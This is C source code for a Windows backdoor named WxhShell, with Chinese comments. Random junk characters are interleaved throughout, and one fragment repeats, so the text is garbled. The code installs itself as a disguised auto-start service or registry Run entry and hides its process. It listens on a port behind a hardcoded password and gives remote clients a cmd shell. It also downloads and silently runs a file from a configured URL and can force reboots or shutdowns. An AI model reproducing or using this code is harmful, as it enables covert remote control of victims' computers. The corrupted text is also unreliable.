fSp PROCNTQSIP NtQueryInformationProcess; \gW\Sa ^ /;(%Xd&: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p2_Zsq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4~D>oNx4 ?jM7C} HANDLE hProcess; t>=y7n&q PROCESS_BASIC_INFORMATION pbi; 1V9X(uP 2b&;Y /z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F~- S3p if(NULL == hInst ) return 0; Zp(P)Obs# W3-Rs&se g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &oEq& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i:Ct6[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?lw[ @p'v.;~# if (!NtQueryInformationProcess) return 0; 6+d"3-R. d/99!+r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rM?Dp2 if(!hProcess) return 0; Q Fqv,B\< })u}PQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; es(LE/`e n^(yW CloseHandle(hProcess); gm8Tm$fY $.]t1e7s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RxeRO2 if(hProcess==NULL) return 0; )A+j pvdZ>D-IU HMODULE hMod; [/,6O char procName[255]; bOGDz|H`` unsigned long cbNeeded; Ch!Q? 4 )BTs *7 j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :XY3TI (C_o^_I: CloseHandle(hProcess); /!uBk3x: 5dEO_1q
% if(strstr(procName,"services")) return 1; // 以服务启动 9: |K]y $YQ&\[pDA return 0; // 注册表启动 ok_{8z\# } xR6IXF>* MifgRUe // 主模块 HNyDWD)_ int StartWxhshell(LPSTR lpCmdLine) c]0 { +rw3.d SOCKET wsl; `Qk
R BOOL val=TRUE; !eoec2h#5 int port=0; T S8E9#1a struct sockaddr_in door; (_5+`YsV !3v"7l{LF if(wscfg.ws_autoins) Install(); d<m>H$\Dm tU2;Wb!Y port=atoi(lpCmdLine); F"TI9ib zLK
~i>aW if(port<=0) port=wscfg.ws_port; ~\IDg/9Cj aC]l({-0 WSADATA data; JNg5?V;.U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Qr!?=nf &rWJg6/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EUS]Se2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y9ce"*b door.sin_family = AF_INET; sO-R+G/^7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3n)iTSU3 door.sin_port = htons(port); E1v<-UPbA =w?cp}HW if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E4ee_`p closesocket(wsl); ul&7hHp_u% return 1; P(+ar#,G } x=+I8Q4: k<hO9;#qpL if(listen(wsl,2) == INVALID_SOCKET) { I~6 ;9TlQ closesocket(wsl); d>-EtWd return 1; z2zp c^i } P[oB' Wxhshell(wsl); Rp9iX~A`e WSACleanup(); ] CE2/6Ph F
RUt}* return 0; Dv{AZyqe P#1y } ;.a)r 8rNxd=! // 以NT服务方式启动 b4PK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "n-xsAG { w2V E_ DWORD status = 0; }`]^LFU5 DWORD specificError = 0xfffffff; $&C%C\(>D @V u[Tg}J serviceStatus.dwServiceType = SERVICE_WIN32; JPzPL\ serviceStatus.dwCurrentState = SERVICE_START_PENDING; .8~ x;P6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o>%W7@Pr serviceStatus.dwWin32ExitCode = 0; J>v>6OC6i serviceStatus.dwServiceSpecificExitCode = 0; u8=|{)yL serviceStatus.dwCheckPoint = 0; qT%E[qDS serviceStatus.dwWaitHint = 0;
>S/>2e: P=z':4,M} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y" |U$ if (hServiceStatusHandle==0) return; :9qB{rLi} v1rGq status = GetLastError(); kS!*kk*a if (status!=NO_ERROR) % m$Mnx { PrxXL/6 serviceStatus.dwCurrentState = SERVICE_STOPPED; 5%/%i}e~( serviceStatus.dwCheckPoint = 0; 2ARh-zLb serviceStatus.dwWaitHint = 0; 3Mt6iZW serviceStatus.dwWin32ExitCode = status; 4B(qVf&M serviceStatus.dwServiceSpecificExitCode = specificError; BpE[9N SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?2c:|FD return; $5O&[/L } A;PV,2|X _JoA=<O! serviceStatus.dwCurrentState = SERVICE_RUNNING; S8t9Ms:
k serviceStatus.dwCheckPoint = 0; cl5 :|) serviceStatus.dwWaitHint = 0; <L0_<T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iLei-\w6y } vzPrG%Uu7g KxI(#}5o& // 处理NT服务事件,比如:启动、停止 >ZWm0nTr VOID WINAPI NTServiceHandler(DWORD fdwControl) ='azVw%_ { )JON&~C switch(fdwControl) wu3ZSLY { >EG;2]M& case SERVICE_CONTROL_STOP: `. Z". serviceStatus.dwWin32ExitCode = 0; U6"50G~u serviceStatus.dwCurrentState = SERVICE_STOPPED; _1QNO#X serviceStatus.dwCheckPoint = 0; Pc-HQU serviceStatus.dwWaitHint = 0; C_o.d~xm { HH+XEM P/g SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Gy_QRsp, } 1l{n`gR return; z841g `:C case SERVICE_CONTROL_PAUSE: XCY4[2*a> serviceStatus.dwCurrentState = SERVICE_PAUSED; I;LqyzM break; 4l:+>U@KU case SERVICE_CONTROL_CONTINUE: es{
9[RHK serviceStatus.dwCurrentState = SERVICE_RUNNING; W%x#ps5% break; ZO}*^ case SERVICE_CONTROL_INTERROGATE: 5NK:94&JE break; [ q}WS5Cp }; 7O j9~3o4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); z;)% i f6 } $U1'n@/J ^;e`ZtcI // 标准应用程序主函数 /on p<u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fwtwf{9I { ~Km8-b(& $vd._j& // 获取操作系统版本 a&JAF?k OsIsNt=GetOsVer(); 0nX5
$Kn GetModuleFileName(NULL,ExeFile,MAX_PATH); %"tf`,d~3 gxiJ`.D= // 从命令行安装 sz5@= if(strpbrk(lpCmdLine,"iI")) Install(); lB3X1e9 D UeT // 下载执行文件 o3yZC z if(wscfg.ws_downexe) { Wl{Vz if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uPpP") WinExec(wscfg.ws_filenam,SW_HIDE); 6+>rf{5P7 } ft5 Bk'ZJ U]d+iz??b if(!OsIsNt) { r+n&Pp+9 // 如果时win9x,隐藏进程并且设置为注册表启动 G{<wXxq% HideProc(); $%<gp@Gz StartWxhshell(lpCmdLine); H!N,PI?rn } 3!I8J:GZ: else l[gL(p"W if(StartFromService()) 5|Uub, // 以服务方式启动 iw%DQ }$ StartServiceCtrlDispatcher(DispatchTable); yTk9+ > else p[RD[b // 普通方式启动 B{Rig5Sc StartWxhshell(lpCmdLine); iJcl0)| HO'
HkVA return 0; {.ph)8 } *GA#.$n
W*
YfyM ,v/C-b)I DZvpt%q =========================================== dg-pwWqN BJvVZl2h UV=TU=A\o ls=<c< 1i{B47| &]5<^?3 "
:geXplTx `g #\ Ws #include <stdio.h> Y?> S.B7 #include <string.h> dJkTHmw #include <windows.h> i^=an?}/ #include <winsock2.h> f,$FrI, #include <winsvc.h> H_x35|" #include <urlmon.h> bF3j* bpO" uzsR*x%s- #pragma comment (lib, "Ws2_32.lib") s;A]GJ #pragma comment (lib, "urlmon.lib") q.*qZ\;K \]^|IViIQ #define MAX_USER 100 // 最大客户端连接数 ,y^By_1wS #define BUF_SOCK 200 // sock buffer ,5q^/h #define KEY_BUFF 255 // 输入 buffer t
;[Me0 t.m
$|M> #define REBOOT 0 // 重启 ivt\|
> #define SHUTDOWN 1 // 关机 !-: a`Vs+ f+d{^- #define DEF_PORT 5000 // 监听端口 >$}nKPC,Y Z:'2puU+? #define REG_LEN 16 // 注册表键长度 d(k`Yk8 #define SVC_LEN 80 // NT服务名长度 i+2J\.~U#G 1 %*X,E // 从dll定义API b*,R9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ros5]5=dP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :yv!
x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JjM^\LwKkL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !
$n^Ze2 ! h~dM*yo; // wxhshell配置信息 -WEiY struct WSCFG { 1wwhTek int ws_port; // 监听端口 }L@YLnc% char ws_passstr[REG_LEN]; // 口令 E_$ST3 int ws_autoins; // 安装标记, 1=yes 0=no BWd?a6nU} char ws_regname[REG_LEN]; // 注册表键名 -cG?lEh< char ws_svcname[REG_LEN]; // 服务名 B3K%V|;z
) char ws_svcdisp[SVC_LEN]; // 服务显示名 ]SK (cfA` char ws_svcdesc[SVC_LEN]; // 服务描述信息 DK:d'zb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p/@z4TCNX int ws_downexe; // 下载执行标记, 1=yes 0=no { `-EX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =uD2j9!"7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $WdZAv\_S lVMAab }; B} &C
h LV`- eW // default Wxhshell configuration E]Kd`&^} struct WSCFG wscfg={DEF_PORT, 7m8L!t9 "xuhuanlingzhe", )Y)7p// 1, ^c+6? "Wxhshell", guBOR0x` "Wxhshell", MTr _8tI "WxhShell Service", b%AYYk)d? "Wrsky Windows CmdShell Service", X!r!lW "Please Input Your Password: ", enZW2o97c 1, h4sEH "http://www.wrsky.com/wxhshell.exe", xU)~)eK "Wxhshell.exe" P||u{]vU }; brZ3T`p+.P wp$SO^?- // 消息定义模块 LM0TSB? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lc+)#9*d char *msg_ws_prompt="\n\r? for help\n\r#>"; iTD{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =PXNg!B}D* char *msg_ws_ext="\n\rExit."; N$p O] p char *msg_ws_end="\n\rQuit."; G$ip Wi char *msg_ws_boot="\n\rReboot..."; )5&Wt@7Kj` char *msg_ws_poff="\n\rShutdown..."; >4bOM@[] char *msg_ws_down="\n\rSave to "; ARslw*SJ !iITX,'8 char *msg_ws_err="\n\rErr!"; 5PdC4vI*+ char *msg_ws_ok="\n\rOK!"; vVE^Y ;0@"1` char ExeFile[MAX_PATH]; xOP\ +( int nUser = 0; tw^V?4[Miu HANDLE handles[MAX_USER]; 5JQq?e)n int OsIsNt; gm4-w 9M[p :s*&_y SERVICE_STATUS serviceStatus; 'v4AM@%u SERVICE_STATUS_HANDLE hServiceStatusHandle; ~d28"p.7 }k'8*v}8 // 函数声明 HD Eq q int Install(void); )07M8o!^l int Uninstall(void); C!v0*^i int DownloadFile(char *sURL, SOCKET wsh); `4XfT.9GT int Boot(int flag); k5W5 9tz void HideProc(void); uPb9j;Q? int GetOsVer(void); s|dL.@0,L int Wxhshell(SOCKET wsl); AQ@A$ void TalkWithClient(void *cs); )p( XY34] int CmdShell(SOCKET sock); >pz/wTOi int StartFromService(void); -K+gr sb
g int StartWxhshell(LPSTR lpCmdLine); J>x)J}:; :N(L7&< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 61CNEzQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); HnZrRHT0 {{:MJ\_"h_ // 数据结构和表定义 ("wPkm^ SERVICE_TABLE_ENTRY DispatchTable[] = CEt_wKzf { |(Io(e {wscfg.ws_svcname, NTServiceMain}, \U p<m>3\ {NULL, NULL} I5PaY.i }; 5Gg`+o L<J%IlcfO // 自我安装 o"K{^ L~u int Install(void) t4h5R { H<dm;cU char svExeFile[MAX_PATH]; j @sd x)1+ HKEY key; ,odjL6u strcpy(svExeFile,ExeFile); aZ#c_Q#gZ =OTwP // 如果是win9x系统,修改注册表设为自启动 }4\>q$8' if(!OsIsNt) { X=_N7! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QfRt3\^` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mLKwk6I RegCloseKey(key); )";g*4R[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?\.P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \/lH]u\x RegCloseKey(key); '^}l|( return 0; Ch^Al2)= } G,$RsP } %;9wToyK> } |\Jpjm)? else { 2~~Q NWN z&9vKF // 如果是NT以上系统,安装为系统服务 w9l)=[s= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?zKDPBj
if (schSCManager!=0) *}cF]8c5W { MZ6?s(mkx SC_HANDLE schService = CreateService ppfBfMX ( L)4TW6IUk schSCManager, B4_0+K H wscfg.ws_svcname, X|@|ZRN wscfg.ws_svcdisp, &nTB^MF SERVICE_ALL_ACCESS, *_3+ DF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /k(0}g=\ SERVICE_AUTO_START, :1=mNrg SERVICE_ERROR_NORMAL, Jc:*X4-' svExeFile, .Mdxbs6.C NULL, D@FJVF7c NULL, og!Uq]U/y NULL, \"5%w *vl NULL, _D[vMr[ NULL {BDp`uZ ); #2{ };) if (schService!=0) ``K.4sG { -E?h^J&U CloseServiceHandle(schService); !~"q$T>@ CloseServiceHandle(schSCManager); UvxJ _ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I4gyGg$H strcat(svExeFile,wscfg.ws_svcname); YjoN:z`b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Of SYOL7o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VO/"
ot RegCloseKey(key); pX*Oc6.0mu return 0; kce+aiv|u } Dm"GCV } E;9SsA
CloseServiceHandle(schSCManager); \HV%579 } dEJ>8e8 } %dKUB4 ,=R->~ J return 1; %)?$82=2 } VLkK6W.u ;:a7rN"( // 自我卸载 e:6R +8s2 int Uninstall(void) C$-IDBXK { 1j9 .Q;9 HKEY key; a&M{y Oy&Myjny< if(!OsIsNt) { lpj$\WI= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %koHTWT+ RegDeleteValue(key,wscfg.ws_regname); `` 6?;Y RegCloseKey(key); C$b$)uI; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hd8:| _ RegDeleteValue(key,wscfg.ws_regname); +}J2\!Jw RegCloseKey(key); w-"o?;)a return 0; %, XyhS5[o } yv[s)c} } ^kzw/.I{ } W,}HQ else { =;i@,{
~ CT6a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P}KyT?X: if (schSCManager!=0) 2~K.m@U}!Z { K9;pX2^z9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8m2-fuJz if (schService!=0) =ugxPgn { RL[?&L$7^% if(DeleteService(schService)!=0) { ?sdVd CloseServiceHandle(schService); tz6d}$ CloseServiceHandle(schSCManager); x3MV"hm2 return 0; +Y0Wiwr'
} dl6d!Nz* CloseServiceHandle(schService); 1ZOHyO } |l
03,dOF CloseServiceHandle(schSCManager); Q+U} } %mAgE\y25 } l+*^P'0u .u>IjK^ return 1; 1aS[e%9Mg } Y\Odj~Mj 2n2{Oy>L // 从指定url下载文件 1t
WKH int DownloadFile(char *sURL, SOCKET wsh) ^EPM~cEY\ { p%jl-CC1 HRESULT hr; 7^A;.x char seps[]= "/"; Bq#?g@V char *token; weEmUw Z char *file; rLw,? char myURL[MAX_PATH]; Ont4-AP
char myFILE[MAX_PATH]; 9_n!.zA< i<YatW~Pu strcpy(myURL,sURL); |-bSoq7t token=strtok(myURL,seps); cP'' while(token!=NULL) L6fc_Mo.EE { b?hdWQSW7 file=token; 7q<I7Wt token=strtok(NULL,seps); QU2\gAM } np}F [v T9osueh4 GetCurrentDirectory(MAX_PATH,myFILE); !=;^Grv> strcat(myFILE, "\\"); KDhr.P.~ strcat(myFILE, file); Qv,8tdx send(wsh,myFILE,strlen(myFILE),0); #(mm6dj send(wsh,"...",3,0); s/ibj@h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;\DXRKR if(hr==S_OK) + G#qS1 return 0; y]xG@;4M else :[3{-.c return 1; 0C#1/o)o GU8b_~Gk?
} rZ/,^[T E5w.wx // 系统电源模块 0(iTnzx0 int Boot(int flag) 6.kX~$K { RMMx6L|-: HANDLE hToken; a)$" TOKEN_PRIVILEGES tkp; ?%J{1+hY -ve{O-; if(OsIsNt) { gk >-h,>" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AB'q!7NR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
RLOB tkp.PrivilegeCount = 1; L1D{LzlBti tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y TfAS. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g Q%'2m+ if(flag==REBOOT) { I2hX;pk, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >:!TfuU^R return 0; rj& } x]&V7Y else { $`W.9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U$@p"F@P return 0; )sWdN(E3 } axW3#3#` } -yHVydu= else { RUC
V!L if(flag==REBOOT) { *lRP ZN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2cY7sE068 return 0; TK<~(Dk } dPwe.: else { 3
[: x#r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $=uyZTYF)} return 0; T>2) YOx } d?C8rkV' } qRT1W re
3 +/y 3]} return 1; M)C.bo{p } }2:/&H' *Nloa/a&9 // win9x进程隐藏模块 Sd'!(M^k3 void HideProc(void) dtw1Am#Ci { ; {$9Sc $ P*_!^2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kf2Ob1 if ( hKernel != NULL ) +QT(~< { 3YVG|Bc~_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n0 q5|ES ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9oKRnc FreeLibrary(hKernel); JG @bl } rT9<_< uUu]JDdz return; *xR;}%s\ } 4:RL[; y
Dg // 获取操作系统版本 gVjI1{WTK int GetOsVer(void) D[ U[D { - ?_aYJ OSVERSIONINFO winfo; 3CK4a,]Dm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _doX&*9u GetVersionEx(&winfo); Ve#VGlI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vui5Z K return 1; teH $hd-q else FZ'|z8Dm return 0; E5qh]z( } ":EfR`A# aRPgo0,W1 // 客户端句柄模块 yb*P&si5bY int Wxhshell(SOCKET wsl) ]`)50\pdw { Mk9' SOCKET wsh; pt .0%3 struct sockaddr_in client; UhQ [|c DWORD myID; 5 fY\0 JYB"\VV while(nUser<MAX_USER) j3jf:7 /\ { 2V%si 6 int nSize=sizeof(client); #D~atgR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Vz Gx(7q if(wsh==INVALID_SOCKET) return 1; (~}IoQp> %tEjf
3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [<`K%1GQ if(handles[nUser]==0) ieXhOA closesocket(wsh); +U_> Bo else 0PO'9# nUser++; [u\E*8 } rlTCVmE8[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Y!"C g BfYm return 0; &m2FEQLj } }mQ7N&cC ]ZKmf}A)1P // 关闭 socket ZRN*. void CloseIt(SOCKET wsh) t:NTk( { vn<z\wVbf closesocket(wsh); g]?&qF} nUser--; {E`[`Kf ExitThread(0); m?bd6'&FR } YSERQo xp-.,^q\w // 客户端请求句柄 p.^glz >B void TalkWithClient(void *cs) ]7" W( { 5W_u|z+/g '7AlE!7% SOCKET wsh=(SOCKET)cs; KLD)h,] char pwd[SVC_LEN]; 0;
GnR 0 char cmd[KEY_BUFF]; aHx(~&hRcL char chr[1]; 9[K".VeT] int i,j; C[MZ9r OCmF/B_ while (nUser < MAX_USER) { q8%T)$! )HbsUm# if(wscfg.ws_passstr) { $GhdH) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~?i;~S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7pH`"$ //ZeroMemory(pwd,KEY_BUFF); (8DJf"} i=0; FG]xn(E while(i<SVC_LEN) { a_Y*pOu dU%Q=r8R // 设置超时 ?oF+?l fd_set FdRead; EfHo1Yn& struct timeval TimeOut; EUH&"8
L FD_ZERO(&FdRead); ^_W+ FD_SET(wsh,&FdRead); DZo7T! TimeOut.tv_sec=8; 0gdFXh$!e TimeOut.tv_usec=0; (XW\4msB)I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h?E[28QB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G q%q x4 3\_ae2GW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T(t@[U2^ pwd=chr[0]; B1dVHz# if(chr[0]==0xd || chr[0]==0xa) { 7x`dEi< pwd=0; T\7z87Q break; w@w(AFV9/ } vf6_oX<Os i++; |hBX" } KW.*LoO v5STe` // 如果是非法用户,关闭 socket R~OameRR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q
SR\=:$ } -4ityS
@ ^uB9EP*P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j\l9|vpp send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IB9[Lx ~\_aT2j0 while(1) { / blVm1F 7PQ03dtfg ZeroMemory(cmd,KEY_BUFF); 9gP-//L@
+>3XJlZV // 自动支持客户端 telnet标准 '.Iz*%" j=0; k"_i7 while(j<KEY_BUFF) { :lj1[q:Y> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (iub \` cmd[j]=chr[0]; ?+#|h;M8 if(chr[0]==0xa || chr[0]==0xd) { a@(4X/| cmd[j]=0; z}I =: break; }
IJ } 9))E\U j++; _BGw)Z 6 } `x=W)o
} _'pow&w~ // 下载文件 K.3)m]dCl if(strstr(cmd,"http://")) { %:i; eUKR send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2fZVBj if(DownloadFile(cmd,wsh)) M-inlZNR send(wsh,msg_ws_err,strlen(msg_ws_err),0); XaT9`L< else )~/;Xl#b- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0>@D{_}s } A+3, y<j\ else { Yq~$Q4 j8Nl'" switch(cmd[0]) { wz1fx>Q /^_~NF# // 帮助 &5JTcMC^ case '?': { +ob<?
T send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tQ!p<Q=
$) break; ee7#PE]} } `PML4P[ // 安装 zxN,ys case 'i': { cuv?[M if(Install()) kU uDA><1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/!kL0[v else +; /]' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @tv3\eD break; poJ7q ( } Bw5zh1ALC; // 卸载 n-X;JYQW case 'r': { [C1.*Q+l if(Uninstall()) 50MdZ;R-3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1wJ-l else w-f[h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#e1? break; M#<U=Ha } <'s_3AC // 显示 wxhshell 所在路径 tE&@U$0>o case 'p': { nR%ASUx:Y char svExeFile[MAX_PATH]; 06hzCWm# strcpy(svExeFile,"\n\r"); S
b0p? strcat(svExeFile,ExeFile); ,'=Tf=wq send(wsh,svExeFile,strlen(svExeFile),0); CM$q{;y break; 3&H#LGoV$ } oWCy%76@ // 重启 4sU*UePr case 'b': { j?!BHNs send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LJ^n6 m|_ if(Boot(REBOOT)) kjCXP send(wsh,msg_ws_err,strlen(msg_ws_err),0); &)(>e}es else { 2|="!c8K closesocket(wsh); :exgdm;N ExitThread(0); ZUDdLJ } Vz=ByyC break; 82w;}(! } lr>:S // 关机 _hM
#*?}v case 'd': { wUUDq?!k\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $bf&ct*$h if(Boot(SHUTDOWN)) )C?bb$
G send(wsh,msg_ws_err,strlen(msg_ws_err),0); VD=}GY33= else { z"cF\F closesocket(wsh); &/%A 9R, ExitThread(0); q.
i2BoOd } ~ ^)D#Lo break; xZmO^F5KHj } G)ppkH`qj // 获取shell Cxn<#Kf\-< case 's': { *t_"]v-w CmdShell(wsh); "EA6RFRD closesocket(wsh); N?Wx-pK ExitThread(0); X<pg^Y0 break; >[,ywRJ#_} } nIRJ5|G( // 退出 rE:"8d}z case 'x': { h$F.(N IYe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zDEX `~c CloseIt(wsh); J<p.J3I break; M:%6$`` } 8KxBN)fO; // 离开 4r'QP .h case 'q': { 1iS]n;xcl/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); HIK"Ce closesocket(wsh); uc.dtq! WSACleanup(); U[4Xo&` exit(1); ll]MBq break; KKrLF?rc } :5Y
yI.T } A&HN7C%X } hDO\Q7 Vrwy+o>:X // 提示信息 R`IFKmA EJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nFRU-D$7 } Xv1SRP# } VnZRsFY<^ ].=~C"s,a return; #3b_#+, } sj;n1t}$S <)hA?3J // shell模块句柄 {ylY"FA int CmdShell(SOCKET sock) }01c7/DRP< { _*tU.x|DP STARTUPINFO si; K-_XdJ\ ZeroMemory(&si,sizeof(si)); ^M:Y$9r_s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |4$.mb.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8OS@gpz PROCESS_INFORMATION ProcessInfo; )[t zAaP7 char cmdline[]="cmd"; lpjeEawo4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ri<7!Y?l return 0; fX
^hO+f } .Yw }9Th` // 自身启动模式 (D.B'V#> int StartFromService(void) "aU)
[ { q=EHB5!q typedef struct A`'k5uG { `u<\
4&W DWORD ExitStatus; G_vcuCHm DWORD PebBaseAddress; _1c0pQ ^}3 DWORD AffinityMask; ?S*Cvr+=4 DWORD BasePriority; #[
H4`hZ ULONG UniqueProcessId; 1g{-DIOmn ULONG InheritedFromUniqueProcessId; Nld y76|g } PROCESS_BASIC_INFORMATION; u<g0oEs) r<%ua6@ PROCNTQSIP NtQueryInformationProcess; H^VNw1. $wr B5m? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KQf=t0Z=Ce static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m{ wk0 2bs={p$}a HANDLE hProcess; O(R1D/A[ PROCESS_BASIC_INFORMATION pbi; b p[wr vvTQ!Aa HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X7bS{GT if(NULL == hInst ) return 0; !J6;F}Pd/ '%H\k5^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [%uj+?}6O g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,+d\@ : NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PeX^aEc H|.cD)&eYy if (!NtQueryInformationProcess) return 0; bQvhBa? s3/iG37K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uhw:XV@m if(!hProcess) return 0; f`gs/R qk{+Y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @W1F4HYds 2Y7u M;8 CloseHandle(hProcess); n9 %&HDl4 b2tUJ2p hProcess = 